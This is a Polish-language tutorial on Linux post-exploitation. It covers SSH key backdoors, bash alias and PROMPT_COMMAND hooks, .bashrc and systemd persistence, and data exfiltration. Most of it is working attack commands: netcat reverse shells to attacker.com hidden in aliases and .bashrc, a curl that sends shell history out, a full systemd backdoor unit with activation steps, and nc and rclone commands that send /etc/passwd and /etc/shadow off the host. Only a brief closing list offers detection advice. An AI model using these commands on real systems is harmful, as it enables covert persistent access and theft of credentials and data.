Post-exploitation w Linuxie: Backdoory, persistence i exfiltracja danych
🕵️ Wprowadzenie
Po skutecznej eskalacji uprawnień lub zdobyciu dostępu do systemu Linux, nadchodzi kluczowa faza ataku – post-exploitation. Celem jest utrzymanie trwałego dostępu do systemu oraz pozyskanie wartościowych danych, przy jednoczesnym minimalizowaniu ryzyka wykrycia. W tym artykule omówimy najczęstsze metody tworzenia backdoorów, techniki persistence oraz narzędzia służące do eksfiltracji danych.
🔐 Tworzenie backdoorów w systemie Linux

📌 1. SSH backdoor – klucze autoryzacyjne
Najprostszy i zarazem skuteczny sposób utrzymania dostępu – dodanie klucza publicznego do pliku authorized_keys użytkownika (np. root lub admin).
📂 Przykład:
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
🔐 Dzięki temu atakujący może logować się przez SSH bez znajomości hasła.
🔁 2. Alias backdoor
Modyfikując aliasy bash, można ukryć komendy systemowe i uruchamiać złośliwe funkcje.
📂 Przykład:
echo "alias ls='ls; nc attacker.com 4444 -e /bin/bash'" >> ~/.bashrc
🔄 Każde wywołanie ls nawiąże połączenie z atakującym.
🧩 3. Bash hooki (PROMPT_COMMAND, trap)
Zmienne środowiskowe shell mogą być wykorzystane do uruchamiania komend przy każdym poleceniu lub przy zamknięciu terminala.
📂 Przykład z PROMPT_COMMAND:
echo "export PROMPT_COMMAND='curl http://attacker.com/collect?cmd=$(history 1)'" >> ~/.bashrc
📂 Przykład z trap:
trap 'curl -X POST http://attacker.com/exit' EXIT
📍 Idealne do niewidocznego monitorowania działań użytkownika.
🔁 Utrzymywanie dostępu – persistence
⚙️ 1. Modyfikacja ~/.bashrc
Dodanie złośliwych poleceń do pliku .bashrc użytkownika zapewnia ich uruchamianie przy każdym logowaniu.
📂 Przykład:
echo "/usr/bin/nc attacker.com 4444 -e /bin/bash" >> ~/.bashrc
🔑 2. Dodanie kluczy do systemowych kont SSH
Dzięki temu backdoor jest dostępny dla roota lub innego ważnego użytkownika.
📂 Przykład:
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3..." >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
🛠️ 3. Persistence przez systemd
Tworzenie złośliwych serwisów systemd, które uruchamiają się automatycznie.
📂 Przykład jednostki backdoor.service:
[Unit]
Description=Backdoor Shell
[Service]
ExecStart=/bin/bash -c 'while true; do nc -lvp 4444 -e /bin/bash; done'
Restart=always
[Install]
WantedBy=multi-user.target
💾 Zapisz jako /etc/systemd/system/backdoor.service
🛠️ Aktywacja:
systemctl daemon-reexec
systemctl enable backdoor
systemctl start backdoor
📤 Eksfiltracja danych
Zbieranie i przesyłanie danych to jeden z kluczowych elementów post-exploitation. Istnieją narzędzia umożliwiające szybki i niezauważony transfer informacji poza środowisko ofiary.
🧪 1. Netcat (nc)
Prosty sposób na wysyłanie plików:
nc attacker.com 4444 < /etc/passwd
Lub utworzenie serwera po stronie atakującego:
nc -lvnp 4444 > output.txt
🌐 2. SSHuttle – tunelowanie całego ruchu
SSHuttle pozwala atakującemu na stworzenie tunelu sieciowego przez zaufane połączenie SSH, co umożliwia eksfiltrację danych i dalsze skanowanie sieci.
📂 Przykład:
sshuttle -r user@victim 0/0
☁️ 3. Rclone – przesyłanie danych do chmury
Rclone to zaawansowane narzędzie do synchronizacji z usługami typu Google Drive, Dropbox, OneDrive.
📂 Konfiguracja:
rclone config
📂 Eksfiltracja:
rclone copy /etc/shadow remote:backup/
✅ Rclone działa dyskretnie, zwłaszcza w środowiskach z dostępem do internetu.
📌 Podsumowanie
Faza post-exploitation to nie tylko końcowy etap ataku, ale kluczowy moment decydujący o jego skuteczności i trwałości. Atakujący dążą do:
- Utrzymania długoterminowego dostępu (np. przez klucze SSH, aliasy, cron, systemd)
- Niewykrywalnego działania w systemie
- Eksfiltracji danych, zarówno lokalnych, jak i sieciowych
🔐 Aby przeciwdziałać takim działaniom:
- Regularnie monitoruj pliki konfiguracyjne (np.
.bashrc,.ssh/authorized_keys) - Audytuj wszystkie nowe jednostki systemd
- Używaj systemów IDS i HIDS
- Sprawdzaj ruch wychodzący i nietypowe połączenia






